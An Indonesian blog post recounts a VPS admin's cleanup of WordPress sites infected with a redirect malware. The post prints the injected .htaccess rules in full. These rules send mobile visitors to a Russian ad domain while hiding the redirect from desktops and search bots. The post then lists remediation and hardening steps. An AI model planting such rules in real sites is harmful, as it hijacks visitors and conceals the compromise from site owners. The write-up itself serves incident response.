Pengalaman mengatasi malware redirect pada VPS

Yang saya bicarakan kali ini lebih ke arah sharing akan kasus yang beberapa hari lalu saya alami. Sungguh sangat kebetulan saya cukup sering mengecek salah satu situs yang dihosting pada VestaCP lewat handphone. Pagi hari tampilannya normal – normal saja tapi begitu saya ada acara siang hari dan iseng melihat lah kok dialihkan ke situs lain yang berisi penuh iklan. Waduh… 🙁

Anehnya saat diakses lewat PC/Laptop tampilannya normal dan kita hanya akan diredirect kalau membukanya lewat handphone atau tablet. Cukup kelabakan pas itu karena bingung mau migrasi kemana secara mendadak dan apakah backupnya aman (untungnya ada dan bisa dipakai).

Yang saya lakukan adalah mengecek lewat SSH ini pengunjung diredirect menggunakan metode apa, apakah file PHPnya telah diinject dengan kode jahat atau bagaimana. Sekilas saya cek file index.php milik beberapa situs WordPress yang ada dalam VPS tersebut dan masih normal. Berarti tinggal satu: htaccess.

Segera saya cek dan pertama saya buka dengan nano kaget juga kok kosong isinya. Ternyata sekitar 55 baris awal dikosongi dan memang ada kode jahat berisi redirect berdasarkan user agent pengunjungya. Saya sisipkan kode yang dimaksud berikut ini:

########GET#######
RewriteEngine on
RewriteRule \.(jpg|png|gif|jpeg|bmp)$ - [L]
RewriteCond %{HTTP_USER_AGENT} acs [NC,OR]
RewriteCond %{HTTP_USER_AGENT} alav [NC,OR]
RewriteCond %{HTTP_USER_AGENT} alca [NC,OR]
RewriteCond %{HTTP_USER_AGENT} amoi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} audi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} aste [NC,OR]
RewriteCond %{HTTP_USER_AGENT} avan [NC,OR]
RewriteCond %{HTTP_USER_AGENT} benq [NC,OR]
RewriteCond %{HTTP_USER_AGENT} bird [NC,OR]
RewriteCond %{HTTP_USER_AGENT} blac [NC,OR]
RewriteCond %{HTTP_USER_AGENT} blaz [NC,OR]
RewriteCond %{HTTP_USER_AGENT} brew [NC,OR]
RewriteCond %{HTTP_USER_AGENT} cell [NC,OR]
RewriteCond %{HTTP_USER_AGENT} cldc [NC,OR]
RewriteCond %{HTTP_USER_AGENT} cmd- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} dang [NC,OR]
RewriteCond %{HTTP_USER_AGENT} doco [NC,OR]
RewriteCond %{HTTP_USER_AGENT} eric [NC,OR]
RewriteCond %{HTTP_USER_AGENT} hipt [NC,OR]
RewriteCond %{HTTP_USER_AGENT} inno [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ipaq [NC,OR]
RewriteCond %{HTTP_USER_AGENT} java [NC,OR]
RewriteCond %{HTTP_USER_AGENT} jigs [NC,OR]
RewriteCond %{HTTP_USER_AGENT} kddi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} keji [NC,OR]
RewriteCond %{HTTP_USER_AGENT} leno [NC,OR]
RewriteCond %{HTTP_USER_AGENT} lg-c [NC,OR]
RewriteCond %{HTTP_USER_AGENT} lg-d [NC,OR]
RewriteCond %{HTTP_USER_AGENT} lg-g [NC,OR]
RewriteCond %{HTTP_USER_AGENT} lge- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} maui [NC,OR]
RewriteCond %{HTTP_USER_AGENT} maxo [NC,OR]
RewriteCond %{HTTP_USER_AGENT} midp [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mits [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mmef [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mobi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mot- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} moto [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mwbp [NC,OR]
RewriteCond %{HTTP_USER_AGENT} nec- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} newt [NC,OR]
RewriteCond %{HTTP_USER_AGENT} noki [NC,OR]
RewriteCond %{HTTP_USER_AGENT} opwv [NC,OR]
RewriteCond %{HTTP_USER_AGENT} palm [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pana [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pant [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pdxg [NC,OR]
RewriteCond %{HTTP_USER_AGENT} phil [NC,OR]
RewriteCond %{HTTP_USER_AGENT} play [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pluc [NC,OR]
RewriteCond %{HTTP_USER_AGENT} port [NC,OR]
RewriteCond %{HTTP_USER_AGENT} prox [NC,OR]
RewriteCond %{HTTP_USER_AGENT} qtek [NC,OR]
RewriteCond %{HTTP_USER_AGENT} qwap [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sage [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sams [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sany [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sch- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sec- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} send [NC,OR]
RewriteCond %{HTTP_USER_AGENT} seri [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sgh- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} shar [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sie- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} siem [NC,OR]
RewriteCond %{HTTP_USER_AGENT} smal [NC,OR]
RewriteCond %{HTTP_USER_AGENT} smar [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sony [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sph- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} symb [NC,OR]
RewriteCond %{HTTP_USER_AGENT} t-mo [NC,OR]
RewriteCond %{HTTP_USER_AGENT} teli [NC,OR]
RewriteCond %{HTTP_USER_AGENT} tim- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} tosh [NC,OR]
RewriteCond %{HTTP_USER_AGENT} tsm- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} upg1 [NC,OR]
RewriteCond %{HTTP_USER_AGENT} upsi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} vk-v [NC,OR]
RewriteCond %{HTTP_USER_AGENT} voda [NC,OR]
RewriteCond %{HTTP_USER_AGENT} w3cs [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wap- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wapa [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wapi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wapp [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wapr [NC,OR]
RewriteCond %{HTTP_USER_AGENT} webc [NC,OR]
RewriteCond %{HTTP_USER_AGENT} winw [NC,OR]
RewriteCond %{HTTP_USER_AGENT} winw [NC,OR]
RewriteCond %{HTTP_USER_AGENT} xda [NC,OR]
RewriteCond %{HTTP_USER_AGENT} xda- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} up.browser [NC,OR]
RewriteCond %{HTTP_USER_AGENT} up.link [NC,OR]
RewriteCond %{HTTP_USER_AGENT} windows.ce [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mini [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mmp [NC,OR]
RewriteCond %{HTTP_USER_AGENT} symbian [NC,OR]
RewriteCond %{HTTP_USER_AGENT} midp [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wap [NC,OR]
RewriteCond %{HTTP_USER_AGENT} phone [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ipad [NC,OR]
RewriteCond %{HTTP_USER_AGENT} iphone [NC,OR]
RewriteCond %{HTTP_USER_AGENT} iPad [NC,OR]
RewriteCond %{HTTP_USER_AGENT} iPhone [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ipod [NC,OR]
RewriteCond %{HTTP_USER_AGENT} iPod [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pocket [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mobile [NC,OR]
RewriteCond %{HTTP_USER_AGENT} android [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Android [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pda [NC,OR]
RewriteCond %{HTTP_USER_AGENT} PPC [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Series60 [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Opera.Mini [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Moby [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Mobi [NC,OR]
RewriteCond %{HTTP_ACCEPT} "text/vnd.wap.wml|application/vnd.wap.xhtml+xml" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} !windows.nt [NC]
RewriteCond %{HTTP_USER_AGENT} !bsd [NC]
RewriteCond %{HTTP_USER_AGENT} !x11 [NC]
RewriteCond %{HTTP_USER_AGENT} !unix [NC]
RewriteCond %{HTTP_USER_AGENT} !macos [NC]
RewriteCond %{HTTP_USER_AGENT} !macintosh [NC]
RewriteCond %{HTTP_USER_AGENT} !playstation [NC]
RewriteCond %{HTTP_USER_AGENT} !google [NC]
RewriteCond %{HTTP_USER_AGENT} !yandex [NC]
RewriteCond %{HTTP_USER_AGENT} !bot [NC]
RewriteCond %{HTTP_USER_AGENT} !libwww [NC]
RewriteCond %{HTTP_USER_AGENT} !msn [NC]
RewriteCond %{HTTP_USER_AGENT} !america [NC]
RewriteCond %{HTTP_USER_AGENT} !avant [NC]
RewriteCond %{HTTP_USER_AGENT} !download [NC]
RewriteCond %{HTTP_USER_AGENT} !fdm [NC]
RewriteCond %{HTTP_USER_AGENT} !maui [NC]
RewriteCond %{HTTP_USER_AGENT} !webmoney [NC]
RewriteCond %{HTTP_USER_AGENT} !windows-media-player [NC]
RewriteRule ^(.*)$ http://traf-extractor.ru [L,R=302]
# BEGIN WordPress

RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]


# END WordPress

Jadi yang diatas kode rewrite permalink WordPress adalah menyebabkan pengunjung dialihkan ke situs lain. Saya cari – cari di internet benar – benar minim informasinya. Sucuri membahasnya secara sekilas:

  1. Dibagian Conditional redirections: http://labs.sucuri.net/?malware
  2. Dan merupakan kategori Redirections: http://labs.sucuri.net/?type=redirections

Tapi sayangnya tidak diberi referensi tambahan atau bagaimana solusinya kalau ingin membersihkan secara manual. 🙁

Berikutnya adalah akan saya ceritakan apa yang saya lakukan untuk mengatasi infeksi malware ini. Setelah saya amati sekilas ternyata yang diserang hanyalah website – website yang terdapat dalam satu akun VestaCP. Jadi user – user lainnya aman. Sudah mulai ada titik cerah jadinya.

Beberapa solusi yang saya pikirkan (ada yang belum diterapkan) untuk mengatasi hal ini:

  1. Hapus file .htaccess dan betulkan isinya dengan yang benar. Ini langkah pertama saya.
  2. Kemudian saya ubah pemilik dan permission file .htaccessnya:
    chown root:root .htaccess
    chmod 644 .htaccess

    Ini saya lakukan supaya file tersebut tidak bisa dimodifikasi user VestaCP karena mereka tidak bisa melangkahi root.

  3. Kemudian apabila kita menggunakan CMS segera diupdate semuanya. Mulai dari CMSnya (saya pakai WordPress), plugin dan tema secara menyeluruh. Ini untuk menutup celah keamanan apabila si hacker menyerang dari sisi ini. Saya berhenti sampai disini untuk pertolongan pertamanya.
  4. Yang berikut ini adalah rencana saya kedepannya. Saya akan mematikan fitur htaccess pada Apache, jadi tidak akan dibaca konfigurasi yang ada didalamnya dan akan memindahkan kode – kode yang sebelumnya ada dalam htaccess ke konfigurasi virtual host Apache. Ini lebih aman karena tidak bisa diedit dari sisi web server atau FTP dan katanya meningkatkan performa walaupun kecil.
  5. Atau lebih amannya lagi langsung pakai Nginx murni karena jelas htaccess tidak didukung dan tidak ada sistem serupa di Nginx. Semuanya lewat konfigurasi di sisi web server. Tinggal kita mengkonversi setting rewrite Apache ke Nginx saja dan ini tidaklah sulit karena di internet banyak referensinya.
  6. Pastinya saya pasti akan memindahkan data – datanya ke server baru atau install ulang dari nol. Nanti website – websitenya akan dipulihkan dari backup. Terlalu riskan kalau dibiarkan apalagi kalau tidak tahu pasti ini jebolnya darimana dan bagaimana.

Masalah ini membuat saya agak… mempertimbangkan ulang menggunakan Apache pada server – server saya selanjutnya, dibalik kemudahan ada resikonya yang cukup besar juga. Juga menyadarkan saya masih banyak yang harus dipelajari, terutama dari sisi diagnosa dan pemecahannya. Dari sini saya baru sedikit dapat inspirasi soal pencegahannya. Sempat ingin menginstall antivirus (ClamAV) tapi karena VPSnya cuma 512MB bisa habis memorinya buat ini saja. Oh ya, backup backup backup. Jangan sampai anda tidak punya backup.

Sekian curhat saya dan semoga pengalaman saya bisa bermanfaat buat anda. 🙂

*Ini ga penting sih… sebenarnya saya bingung mau beri judul apa. Haha. 😀

4 pemikiran pada “Pengalaman mengatasi malware redirect pada VPS

  1. Mas Chandra saya mau tanya, sebenarnya ada atau tidak ya aplikasi tertentu yang bisa diinstall untuk scanning malware ,backdoor dan scrips berbahaya di VPS ? Khususnya untuk OS CentOS, soalnya kadang saya takut hal buruk bisa terjadi suatu saat nanti apalagi VPS nya dimanage sendiri 🙂

    • Bisa dipasangi antivirus mas, ClamAV biasanya. Yang pasti perketat koneksi ke servernya menggunakan firewall, ganti port SSH ke non-default, password SSH dibuat panjang atau malah pakai key.

      Dari analisa amatiran saya ini disebabkan celah keamanan dari WordPress, entah mesin CMSnya, tema atau pluginnya. Soalnya sekarang sudah normal lagi tidak dibajak file htaccessnya. Tapi memang gila inovasinya, ga bakal sadar kalau ga pernah akses websitenya dari handphone mas. Dari desktop normal soalnya.

      Galau pikiran saya pas hari minggu itu, lagi enak ke mall kepikiran server. Mana diagnosa lewat hp kan jelas sangat terbatas. Takutnya harus migrasi server saat itu juga, untung pertolongan pertamanya sukses. Ini sedang cari VPS baru lagi buat backup dan nanti install ulang. Biar bersih sekalian.

    • Maksudnya mulai dari awal sampai akhir gitu mbak? Saya membahasnya per kasus spesifik soalnya, tapi kalau mau bicara umum:

      1. Selalu update sistem operasinya.
      2. Pokoknya harus ada firewall dan berfungsi peraturannya. Mau pakai iptables, firewalld, CSF Firewall dan sebagainya itu terserah.
      3. Install fail2ban juga supaya saat ada alamat IP tertentu yang menyerang akan otomatis diban.

      Saya juga masih belajaran mbak untuk urusan ini, dan ilmunya berdasarkan trial dan error, apalagi baru kena infeksi malware begini.

      Oh ya, usahakan rutin membuat backup dan disimpan secara offline di komputer atau DropBox lah.

Tinggalkan komentar